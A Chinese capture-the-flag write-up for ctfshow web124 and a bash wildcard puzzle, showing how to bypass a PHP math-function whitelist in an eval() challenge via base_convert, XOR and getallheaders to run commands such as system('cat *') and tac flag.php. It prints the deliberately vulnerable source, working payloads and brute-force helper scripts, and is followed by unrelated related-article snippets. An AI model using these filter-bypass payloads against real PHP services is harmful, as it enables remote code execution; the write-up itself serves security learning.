#将A文件夹内的命令重定向到终端进行执行,由于没有文件A,所以报错1
user@LAPTOP-HHK0H1KL:~$ <A
-bash: A: No such file or directory#执行 <A 等命令会因找不到目录或者文件执行失败
user@LAPTOP-HHK0H1KL:~$ $?
1: command not found#执行一个正确的命令
user@LAPTOP-HHK0H1KL:~$ echo hello
hello#返回0,说明上面的命令执行成功
user@LAPTOP-HHK0H1KL:~$ $?
0: command not found
目标:构造 /bin/base64 flag.php
-----> /???/?????4 ????.???
-----> <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
payload (由于使用 RANDOM
,一定要多试几次)
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
<A;${HOME:${A}:$?}???${HOME:${A}:$?}?????${RANDOM::$?} ????.???
web124
<?php/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45*/error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}
get 传参 c ,长度限制 80 ,有黑白名单
简而言之,要求你构造一个使用白名单函数,又不包括黑名单符号的 payload 来命令执行
白名单中数学函数分两种利用方法,进制转换 和 异或,旨在调用能返回字符串的数学函数达到命令执行的目的。
题解一
base_convert(number,frombase,tobase);number 必需。规定要转换的数。
frombase 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表 示,例如 a 表示 10,b 表示 11 以及 z 表示 35。bindec — 二进制转换为十进制
bindec ( string $binary_string ) : numberdecbin — 十进制转换为二进制
decbin ( int $number ) : stringdechex — 十进制转换为十六进制
dechex ( int $number ) : string
#把十进制转换为十六进制。返回一个字符串,包含有给定 binary_string 参数的十六进制表示。所能转换的最大数值为十进制的 4294967295,其结果为 “ffffffff”。decoct — 十进制转换为八进制
decoct ( int $number ) : stringhexdec — 十六进制转换为十进制
hexdec ( int $number ) : string
#把十六进制转换为十进制。返回与 hex_string 参数所表示的十六进制数等值的的十进制数
十六进制的字母范围只有 a-f ,显然是不符合我们构造的要求,而三十六进制字母范围正好为 a-z 。
并且 base_convert
正好能在任意进制转换数字,这样我们传入十进制的数字,使其转换为三十六进制时,返回的字符串是我们想要的 cat
等命令。
例如:
base_convert("cat",36,10);
//15941
这里,虽然可以构造纯字母字符串了,但进制转换显然不能返回 .
/
*
等特殊字符,而这就需要用到另一类运算函数。
如下
php异或
php 中异或运算符 ^
是位运算符
- 如果进行运算的都是数字,会先转换为二进制,再进行按位异或
(0 = 0000) ^ (5=0101) = (5=0101)
(1 = 0001) ^ (5=0101) = (4=0100)
(2 = 0010) ^ (5=0101) = (7=0111)
例如
echo 12^9
//5
- 如果进行运算的含有字符串
长度一致时,先把字符串 按位转换 为 ascii 码
,再将 ascii 码
转换为 二进制
进行按位异或,最后输出 ascii 为异或结果的字符。
长度不一致时,按 最短 的字符串长度 按位异或
echo "12" ^ "9";#"12"是两个字符,ASCII码分别是 '1' = 49, '2' = 50
#"9" 是一个字符,ASCII码 '9' = 57
#'1' ^ '9' = 49 ^ 57 = 8 → ASCII #8(Backspace)
#输出是非可见字符,所以看到的一些奇怪的结果或看不到
echo "hallo" ^ "hello;"#位置 字符1 字符2 ASCII1 ASCII2 异或结果 ASCII
#1 h h 104 104 0 \0
#2 a e 97 101 4 \x04
#3 l l 108 108 0 \0
#4 l l 108 108 0 \0
#5 o o 111 111 0 \0
#输出是:\x00\x04\x00\x00\x00 —— 不是可读字符。
echo 2 ^ "3";
#2 是整数
#"3" 是字符串,但会转成数字 3
#所以 2 ^ 3 = 1
echo "2" ^ 3;
#"2" 转成整数 2
#3 是整数
#结果也是 2 ^ 3 = 1
按位异或运算的几个性质:
结合律a ^ b ^ c = a ^ c ^ b
交换律a ^ b = b ^ a
数值交换(能交换 a 与 b 的值)a = a ^ b; b = a ^ b; a = a ^ b;
temp = a ^ b; a = temp ^ a; b = temp ^ b;
接下来就是利用异或 构造例如这样 空格*
的特殊字符
由上面的性质 ,"a"^"a"
的结果很明显,相同即 0 ,也就是说,"a"^"a"
的结果 ascii 全 0
而 ascii 全 0
与 另一位
进行 按位异或,得到结果就正是 另一位
的 ascii 码
换言之,"a"^"x"^"a"
无论怎么调换顺序,输出的都是 x
的 ascii 码 120
, x
被替换为什么,结果就是所替换的那个字符的 ascii码
。
如果k
^ i
^ 空格*
= 某
则有k
^ i
^ 某
= 空格*
于是我们可以在白名单函数里面寻找 k
和 i
,使 k
和 i
能与 空格*
异或得到 一个值
( 且这个值能使用数学函数 dechex 得到
)
利用脚本爆破
<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
$whitelist2 = [ 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh','abs'];foreach ($whitelist as $i) {foreach ($whitelist2 as $k) {echo ($k ^ $i ^ " *") . " $i $k\n";}
}
有很多符合条件的值
任取一例 10^pi^asinh
的结果为 空格*
到这里一切都很明确了,目标:构造 system('cat *')
首先反向求解
echo base_convert("system",36,10);
//1751504350
echo base_convert("cat",36,10);
//15941
echo hexdec(10);
//16
//这个换算有手就行,应该不用去跑一下叭>~<
那么
#这些都是字符串拼接,不用考虑括号
echo base_convert(1751504350,10,36);
//system
echo base_convert(15941,10,36);
//cat
echo dechex(16);
//10
payload
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
既然能异或出特殊字符,那么也当然能异或出字母,于是可以不使用进制转换来构造关键字,待看题解三
关于上面的脚本,其实还有一个注意点:
因为空格*
的长度是2,白名单里面函数名的长度最短的也仅只是2,所以运行出来的$b $i $k
中$b
的长度就是空格*
的长度,即2
假如把空格*
换成system
,很显然白名单里面函数名长度比6小的并不少,此时对于运行结果$b $i $k
,$b
的长度就不见得是6了,甚至可以说较少有长度为6的$b
,再此时,对于system ^ $i ^ $k = $b
是成立的,但是反其道求验证时,$b ^ $i ^ $k = system
就很大概率不成立了,很可能被截断成了例如syst
这样的字符串
所以假如想要用这个方法来构造字符串,似乎有点困难,更准确地,应该说构造较长的字符串比较困难,但是对于短字符串还是可以的,例如 题解三 的_G
、ET
题解二
先学点前置知识
hex2bin:白名单函数,php的一个内置函数,表示将十六进制字符串转换为二进制字符串
[] 可以使用 {} 替代
<?php
$a = "A";
$$a = "B";echo $a . "\n";
echo $$a . "\n";
echo $A;
?>//A
//B
//B
可变变量
可变变量允许动态地设置变量名
$a = "land"; // 普通变量,变量名是 a,值是 "land" $$a = "vidar"; // 可变变量,变量名是 $land,值是 "vidar"
解释:
$a
存储的是"land"
$$a
相当于$land
,所以$land = "vidar"
可变函数
PHP 允许变量名后加
()
来调用一个与 变量名的值 同名的函数。$func = "system"; $func("ls"); // 实际调用的是 system("ls")
因为黑名单字符过滤较多,我们也可以用 _GET[]
来传 system
之类的命令
(PHP 中的 GET 参数是通过 URL 传入的,而所有传入的参数,本质上都是字符串,不用考虑引号)
目标:构造payload
$_GET[a]($_GET[b])&a=system&b=tac flag.php
根据上文可知
[]
可用 {}
代替
hex2bin函数
可以将16进制字符串转换成2进制字符串
那么,其实,下面需要想办法构造的,仅仅只有 _GET[]
先对上面的payload做简单的替换 (变量名使用白名单里的函数)
$_GET{pi}($_GET{abs})&pi=system&abs=tac flag.php
利用进制转换
echo base_convert(hex2bin,36,10);
//37907361743echo bin2hex("_GET");
//5f474554echo hexdec(5f474554);
//1598506324
于是
echo base_convert(37907361743,10,36);
//hex2binecho hex2bin("5f474554")
//_GETecho dechex(1598506324)
//5f474554
做替换
hex2bin
---->base_convert(37907361743,10,36)_GET
---->hex2bin(dechex(1598506324))
---->base_convert(37907361743,10,36)(dechex(1598506324))
令 $pi = _GET
即 $pi = base_convert(37907361743,10,36)(dechex(1598506324))
于是 payload
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag.php
#之后查看源代码
题解三
这一次我们不再使用进制转换,而是改用异或运算来构造所需要的字符
由题解二的payload,我们的目标不变且明确:
依旧是构造payload,区别是 这次是利用异或运算,而不是进制转换
$_GET[a]($_GET[b])&a=system&b=tac flag.php
根据上文可知
[]
可用 {}
代替
hex2bin函数
可以将16进制字符串转换成2进制字符串
那么,其实,下面需要想办法构造的,仅仅只有 _GET[]
和 $
先对上面的payload做简单的替换 (变量名使用白名单里的函数)
$_GET{pi}($_GET{abs})&pi=system&abs=tac flag.php
使用白名单里面的数学函数和数字异或生成 _GET
利用白名单里面的数学函数名与 01~99 范围的字符串异或,生成 _GET
(也能得到部分特殊字符)
将 _GET
分为 _G
和 ET
利用脚本找到对应的值
ctfshow_web124_2.php
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];echo "<pre>"; // 保留格式foreach ($payload as $func) {echo "Function: " . str_pad($func, 15) . "\n";echo str_repeat("-", 30) . "\n";for ($i = 0; $i <= 9; $i++) {for ($j = 0; $j <= 9; $j++) {$xor_with = $i . $j;$result = $func ^ $xor_with;// 格式:abs ^ 00 => 结果echo str_pad($func, 15) . " ^ " . str_pad($xor_with, 2) . " => " . $result . "\n";}}echo "\n";
}echo "</pre>";
is_nan ^ 64 = _G
tan ^ 15 =ET
要注意 64
15
应该是字符串
于是
_GET
---->(is_nan^(6).(4)).(tan^(1).(5))
令 $pi = _GET
即 $pi = (is_nan^(6).(4)).(tan^(1).(5))
之后令 $pi = $$pi
即 $pi = $_GET
于是payload
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{1}($pi{2})&1=system&2=tac flag.php$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{1}($pi{2})&1=system&2=cat flag.php
#之后查看源代码
题解四
由于payload被限制长度,且还有白名单函数限制
于是,可以利用 getallheaders
函数 获取当前请求中所有的 HTTP 请求头(headers)信息,并返回一个关联数组(即键值对数组),键是 header 名称,值是 header 的值。总之,就是获取全部 HTTP 请求头信息
目标,构造 system(getallgeaders(){1})
先对 system
和 getallheaders
进行进制转换
这里要注意对 getallheaders
进行 base36 → base10
进制转换时会出现精度溢出,导致 base10 → base36
时无法正确还原
对于 getallheaders
的进制转换,(经过尝试) 选择 base29/30→base10
都可以正常转换与还原
进制转换
echo base_convert("system",36,10);
//1751504350echo base_convert("getallheaders",30,10);
//8768397090111664438❌echo base_convert("getallheaders",36,10);
//77763910388090858426 出现精度溢出
构造
echo base_convert(1751504350,10,36);
//systemecho base_convert(8768397090111664438,10,30);
//getallheaders❌echo base_convert(77763910388090858426,10,36);
//24ki0q41g67 出现精度溢出,无法正确还原
利用白名单函数构造,这样做的目的也是为了不超字符数量限制
payload
$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1});
//system(getallgeaders(){1})
在报文头中输入相应的 Name
和Value
,Value
为要执行的命令:
总结
这篇博客由 Algo 创作,旨在尽可能详尽地还原相关题目的解题思路与过程。Algo 十分注重逻辑清晰、步骤完整,也注重内容的可读性与视觉呈现,力求做到图文并茂,细节分明。
在排版方面,Algo 尽力使用恰当的标题层级、代码高亮、段落分隔,配合合适比例的截图与标注,以便读者能快速理解每一个关键点与操作步骤。同时,对每一道题的分析都尽力尝试从多角度出发,力求做到“看得懂”、“学得会”、“能复现”。
尽管 Algo 已多次校对和调整,但水平有限,难免仍有理解偏差或表述不当之处。
若文中存在疏漏、错误之处或有更优的解法,欢迎各位师傅批评指正、交流学习,感激不尽。
你的支持是我分享更多免费优质内容的动力
相关文章:
【CTFSHOW_Web入门】命令执行
文章目录 命令执行web29web30web31web32web33web34web35web36web37web38web39web40web41web42web43web44web45web46web47web48web49web50web51web52web53web54web55web56web57web58web59web60web61web62web63web64web65web66web67web68web69web70web71web72web73web74web75web7…...
三维底座+智能应用,重构城市治理未来
在“数字中国”战略的引领下,住房和城乡建设领域正迎来一场深刻的数字化转型浪潮。2024年《“数字住建”建设整体布局规划》的发布,明确提出以“CIM”(城市信息模型)为核心,构建城市三维数字底座,推动住建行…...
养生:塑造健康生活的良方
养生是一场贯穿生活的自我关爱行动,从饮食、运动、睡眠到心态调节,每一个环节都对健康有着深远影响。以下为你带来全面且实用的养生策略。 饮食养生:科学搭配,呵护肠胃 合理规划三餐,遵循 “早营养、午均衡、晚清淡”…...
docker 镜像的导出和导入(导出完整镜像和导出容器快照)
一、导出原始镜像 1. 使用 docker save 导出完整镜像 适用场景:保留镜像的所有层、元数据、标签和历史记录,适合迁移或备份完整镜像环境。 操作命令 docker save -o <导出文件名.tar> <镜像名:标签>示例:docker save -o milvu…...
NestJS 框架深度解析
框架功能分析 NestJS 是一个基于 Node.js 的渐进式框架,专为构建高效、可扩展的服务器端应用程序而设计。其核心理念结合了 面向对象编程(OOP)、函数式编程(FP) 和 函数式响应式编程(FRP)&…...
游戏引擎学习第267天:为每个元素添加裁剪矩形
仓库已满:https://gitee.com/mrxiao_com/2d_game_6 新仓库:https://gitee.com/mrxiao_com/2d_game_7 回顾并为今天的内容定下基调 我们今天的主要目标是对游戏的调试“Top List”进行改进,也就是用来显示游戏中耗时最多的函数或模块的性能分析列表。昨天我们已经实…...
基于阿里云DataWorks的物流履约时效离线分析
基于阿里云DataWorks的物流履约时效离线分析2. 数仓模型构建 ORC和Parquet区别: 压缩率与查询性能 压缩率 ORC通常压缩率更高,文件体积更小,适合存储成本敏感的场景。 Parquet因支持更灵活的嵌套结构,压缩率略…...
web 自动化之 selenium 元素四大操作三大切换等待
文章目录 一、元素的四大操作二、三大切换&等待1、切换窗口:当定位的元素不在当前窗口,则需要切换窗口2、切换iframe:当定位的元素在frame/iframe,则需要切换 一、元素的四大操作 1、输入 2、点击 3、获取文本 4、获取属性 import time…...
前端取经路——性能优化:唐僧的九道心经
大家好,我是老十三,一名前端开发工程师。性能优化如同唐僧的九道心经,是前端修行的精髓所在。在本文中,我将为你揭示从网络传输到渲染优化的九大关键技术,涵盖HTTP协议、资源加载策略、缓存控制等核心难题。通过这些实…...
前端工程化和性能优化问题详解
选自己熟悉的内容当作重难点,最好是前端相关的 以下是面向前端面试官介绍前端工程化和性能优化问题的结构化回答框架,结合行业标准和实战经验进行整合: 一、前端工程化核心解析 定义与目标 前端工程化是通过工具链和规范化流程,将…...
【应急响应】- 日志流量如何分析?
【应急响应】- 日志流量如何下手?https://mp.weixin.qq.com/s/dKl8ZLZ0wjuqUezKo4eUSQ...
8b10b编解码仿真
一、基本概念 8B/10B编码(8-bit to 10-bit encoding)是一种将8位数据(包括数据字符和控制字符)转换为10位符号(Symbol)的编码技术,由IBM工程师Al Widmer和Peter Franaszek于1983年提出。其核心思…...
软件工程之面向对象分析深度解析
前文基础: 1.软件工程学概述:软件工程学概述-CSDN博客 2.软件过程深度解析:软件过程深度解析-CSDN博客 3.软件工程之需求分析涉及的图与工具:软件工程之需求分析涉及的图与工具-CSDN博客 4.软件工程之形式化说明技术深度解…...
常见标签语言的对比
XML、JSON 和 YAML 是常见的数据序列化格式 相同点 结构化数据表示 三者均支持嵌套结构,能描述复杂的数据层级关系(如对象、数组、键值对)。跨平台兼容性 均为纯文本格式,可被多种编程语言解析,适用于跨系统数据交换…...
【Linux】环境变量(图文)
目录 一、main函数的参数解释: 1、argc和argc的解释 2、为什么要这样设置? 3、注意: 4、命令行计算器: 二、认识环境变量 三、见见环境变量 1、执行一个程序的前提 2、指令:echo $PATH 3、为什么系统自带的指令…...
基于OpenCV的人脸识别:EigenFaces算法
文章目录 引言一、概述二、代码解析1. 准备工作2. 加载训练图像3. 设置标签4. 准备测试图像5. 创建和训练识别器6. 进行预测7. 显示结果 三、代码要点总结 引言 人脸识别是计算机视觉领域的一个重要应用,今天我将通过一个实际案例来展示如何使用OpenCV中的EigenFac…...
跟我学C++中级篇——STL容器的查找对比
一、C标准库的查找 在C的STL中,对容器或相关序列的查找中,有两种方式,一种是std::find,另外一种是std::search。而且在它们的基础上,还衍生出std::find_if、std::find_if_not、std::find_end等和std::search_n、range…...
解构C++高级命名空间:构建空间作用域·控制兼容
前引:C作为C语言的继承者,也是其掘墓人。在编程语言的演化长河中,C始终游走在【兼容】与【革新】的路上。C程序员眼中(高效直接)的全局函数,对于C开发者来说是【命名空间污染的炸弹】,如果C未发…...
怎么判断是不是公网IP?如何查看自己本地路由器是内网ip还是公网?
在网络世界中,IP 地址如同每台设备的 “门牌号”,起着至关重要的标识作用。而 IP 地址又分为公网 IP 和私网 IP,准确判断一个 IP 属于哪一类,对于网络管理、网络应用开发以及理解网络架构等都有着重要意义。接下来,我们…...
微服务中 本地启动 springboot 无法找到nacos配置 启动报错
1. 此处的环境变量需要匹配nacos中yml配置文件名的后缀 对于粗心的小伙伴在切换【测试】【开发】环境的nacos使用时会因为这里导致项目总是无法启动成功...
android-ndk开发(11): 安装 repo 命令
1. 长话短说 mkdir ~/soft/bin curl -L https://mirrors.tuna.tsinghua.edu.cn/git/git-repo -o repo chmod x repo~/.pathrc 添加: export PATH$PATH:~/soft/bin2. 短话长说 repo 的官方介绍页面: https://gerrit.googlesource.com/git-repo/ repo 的官方下载地…...
【设计模式】GoF设计模式之策略模式(Strategy Pattern)
设计模式之策略模式 Strategy Pattern V1.0核心概念角色代码示例程序运行结果代码讲解 适用范围 V1.0 核心概念 策略模式是一种行为型设计模式,其核心思想是业务类执行某个动作时,可以使用该动作的不同的实现,并在程序运行中可以切换使用该…...
QT6(35)4.8定时器QTimer 与QElapsedTimer:理论,例题的界面搭建,与功能的代码实现。
(112) (113)模仿随书老师给的源代码搭建的, LCD 显示的部分不一样 : (114)以下开始代码完善: 关联定时器的信号与槽函数 : (115)…...
用Python监控金价并实现自动提醒!附完整源码
💂 个人网站:【 摸鱼游戏】【神级代码资源网站】【星海网址导航】💻香港大宽带-4H4G 20M只要36/月👉 点此查看详情 在日常投资中,很多朋友喜欢在一些平台买点黄金,低买高卖赚点小差价。但黄金价格实时波动频繁…...
加密领域 AI Agent 的崛起:DeFAI 如何重塑金融
原文:https://polkadot.com/blog/defai-crypto-ai-agents-explained/ 编译:OneBlock 一些创新大肆宣扬,另一些则在后台默默酝酿,不断迭代,直到它们突然无处不在,去中心化的金融系统也不例外。DeFi 解锁了…...
电位器如何接入西门子PLC的模拟量输入
1.设计思考 我现在手上有一个三线10kΩ的滑动变阻器,想让其当作模拟量接入西门子PLC中,外部改变电阻,PLC程序中能看到对应的阻值或电压,这样可以练习模拟量输入这个知识点! 2.了解模拟量的种类 模拟量一般有电压型和…...
发那科机器人5(异常事件和程序备份加载+ROBOGUIDE离线仿真)
发那科机器人5(异常事件和程序备份加载+ROBOGUIDE离线仿真) 一,异常事件和程序备份加载1,常见异常事件2,零点复归介绍3,程序备份-加载(未整理)二,`ROBOGUIDE`离线仿真1,仿真软件简介及安装步骤(未整理)2,机器人==导入与工具==与==工件添加==2.1,机器人导入(未整…...
第二章 如何安装KEIL5和新建工程
单芯片解决方案,开启全新体验——W55MH32 高性能以太网单片机 W55MH32是WIZnet重磅推出的高性能以太网单片机,它为用户带来前所未有的集成化体验。这颗芯片将强大的组件集于一身,具体来说,一颗W55MH32内置高性能Arm Cortex-M3核心…...
【Lattice FPGA 开发】Diamond在线调试Reveal逻辑乱跳的解决
在Vivado中在always块中写逻辑时如果出现always块中的异步复位敏感词在块内部未使用的情况,如下例的rst: always (posedge clk or posedge rst) begin if(~tx_sense_flag)o_rd_adr < d1;else if((o_rd_adr d94) & (bit_cnt d7))o_rd_adr <…...
跨浏览器自动化测试的智能生成方法
一、背景与挑战:跨浏览器测试为什么“难”? 在现代Web应用开发中,跨浏览器兼容性是用户体验的底线保障。面对Chrome、Firefox、Safari、Edge乃至IE、移动浏览器等多种运行环境,开发者与测试人员常面临: 相同DOM在不同…...
docker操作镜像-以mysql为例
Docker安装使用-CSDN博客 docker操作镜像-以mysql为例 当安装一个新的镜像时可以登录https://hub.docker.com/直接搜索想要安装的镜像,查看文档 1)拉取镜像 docker pull mysql 或者 docker pull mysql:版本号 然后直接跳到第4)步即可 2…...
【Yolo精读+实践+魔改系列】Yolov3论文超详细精讲(翻译+笔记)
前言 前面咱们已经把 YOLOv1 和 YOLOv2 的老底都给掀了,今天轮到 YOLOv3 登场,这可是 Joseph Redmon 的“封神之作”。讲真,这哥们本来是搞学术的,结果研究的模型被某些军方拿去“整点活”——不是做人是做武器的那种活。于是他一…...
【Python从入门到精通】--‘@‘符号的作用
在Python中,符号主要有三种用途:装饰器(Decorator)、矩阵乘法运算符(Python 3.5)以及类型提示中的修饰符(如typing)。 目录 1.--装饰器(Decorator) 2.--矩…...
git命令积累(个人学习)
如何将docx文件不上传? 创建或编辑 .gitignore 文件 打开 .gitignore 文件,添加以下内容来忽略所有 .docx 文件: *.docx清除已追踪的 .docx 文件 git rm --cached "*.docx"这将从 Git 仓库中删除 .docx 文件,但不会删…...
【人工智能核心技术全景解读】从机器学习到深度学习实战
目录 🌍 前言🏛️ 技术背景与价值💔 当前技术痛点🛠️ 解决方案概述👥 目标读者说明 🧠 一、技术原理剖析📊 核心概念图解💡 核心作用讲解🔧 关键技术模块说明⚖️ 技术选…...
android-ndk开发(10): use of undeclared identifier ‘pthread_getname_np‘
1. 报错描述 使用 pthread 获取线程名字, 用到 pthread_getname_np 函数。 交叉编译到 Android NDK 时链接报错 test_pthread.cpp:19:5: error: use of undeclared identifier pthread_getname_np19 | pthread_getname_np(thread_id, thread_name, sizeof(thr…...
CAP理论:分布式系统的权衡
CAP理论:分布式系统的权衡 引言一、CAP理论的核心定义二、CAP的权衡逻辑:如何选择?三、CAP的常见误区与澄清四、CAP的实际应用场景与技术实现五、现代分布式系统对CAP的突破与演进六、CAP理论的设计建议总结 引言 在分布式系统的设计与实践中…...
【软件设计师:软件工程】11.项目管理
一、项目管理内容 项目管理是通过规划、组织、协调资源,在有限时间与预算内实现特定目标的过程,核心是平衡范围、时间、成本、质量四大要素,确保项目成功交付。 1.核心内容 项目启动目标定义:明确项目范围、交付成果及成功标准。可行性分析:评估技术、经济与风险可行性…...
遗传算法求解异构车队VRPTW问题
这里写目录标题 染色体编码设计:两种染色体编码方式一、客户排列 分割点(Giant Tour Split)1. 示例编码与解码2. 采用 客户排列 分割点 设计的特点3. 编码实现(基于Python) 二、使用整体聚类局部路由(cl…...
区块链内容创作全攻略:海报、白皮书与视频的视觉化革命
区块链内容创作全攻略:海报、白皮书与视频的视觉化革命 ——2025年去中心化叙事的技术密码与商业实践 一、区块链海报设计:视觉叙事与用户心智占领 区块链海报需在3秒内抓住观众注意力,同时传递技术内核与商业价值。核心设计法则包括&#x…...
windows的rancherDesktop修改镜像源
您好!要在Windows系统上的Rancher Desktop中修改Docker镜像源(即设置registry mirror),您需要根据Rancher Desktop使用的容器运行时(containerd或dockerd)进行配置。用户提到“allowed-image”没有效果&…...
从零开始了解数据采集(二十四)——工业4.0讲解
在全球制造业加速变革的今天,“工业4.0”成为了一个炙手可热的词汇。从德国的概念提出,到我国的积极实践,这场技术与产业的深度融合正推动制造业迈向智能化、数字化的新时代。对于企业而言,这是一次不可多得的机遇,更是…...
Java复习笔记-基础
Java复习笔记 一、什么是JDK、JRE、JVM二、Keyword-关键字三、variable-变量浮点数类型-float和double字符类型-char基本数据类型变量间运算规则基本数据类型与 String 的运算和 四、逻辑运算符五、流程控制语句关于if else 和 switchfor循环while循环do while循环 六、Array-数…...
用递归实现各种排列
为了满足字典序的输出,我采用了逐位递归的方法(每一位的所能取到的最小值都大于前一位) 1,指数型排列 #include<bits/stdc.h> using ll long long int; using namespace std; int a[10];void printp(int m) {for (int h …...
基于Stable Diffusion XL模型进行文本生成图像的训练
基于Stable Diffusion XL模型进行文本生成图像的训练 flyfish export MODEL_NAME"stabilityai/stable-diffusion-xl-base-1.0" export VAE_NAME"madebyollin/sdxl-vae-fp16-fix" export DATASET_NAME"lambdalabs/naruto-blip-captions"acceler…...
SHA系列算法
SHA1系列算法 SHA(Secure Hash Algorithm,安全散列算法)是一组加密哈希算法,用于确保数据完整性和提供消息摘要功能。SHA算法由美国国家安全局(NSA)设计,并由国家标准与技术研究院(…...
985高校查重率“隐性阈值”:低于5%可能被重点审查!
你是不是也以为: “查重率越低越好,最好压到1%、0%,导师看了都感动哭🥹” 但是你不知道的是——在985/211等重点高校,查重率太低反而可能引起导师和学术办公室的“特别关注”! 今天就来扒一扒这个查重圈“…...
基于vue3+QuillEditor的深度定制
需求: 项目需求一个深度定制的富文本编辑器,要求能够定制表格,能够从素材库插入图片,以及其他个性化操作。我这里就基于vue3+ QuillEditor深度定制的角度,解析一下QuillEditor富文本编辑器的功能扩展功能的需求。 一、扩展工具栏 根据需求,我们需要扩展工具栏,实现自…...
Redis 8.0正式发布,再次开源为哪般?
Redis 8.0 已经于 2025 年 5 月 1 日正式发布,除了一些新功能和性能改进之外,一个非常重要的改变就是新增了开源的 AGPLv3 协议支持,再次回归开源社区。 为什么说再次呢?这个需要从 2024 年 3 月份 Redis 7.4 说起,因为…...
静态BFD配置
AR2配置 int g0/0/0 ip add 10.10.10.2 quit bfd quit bfd 1 bind peer-ip 10.10.10.1 source-ip 10.10.10.2 auto commit AR1配置 int g0/0/0 ip add 10.10.10.1 int g0/0/1 ip add 10.10.11.1 quit bfd quit bfd 1 bind peer-ip 10.0.12.2 source-ip 10.0.12.1 auto co…...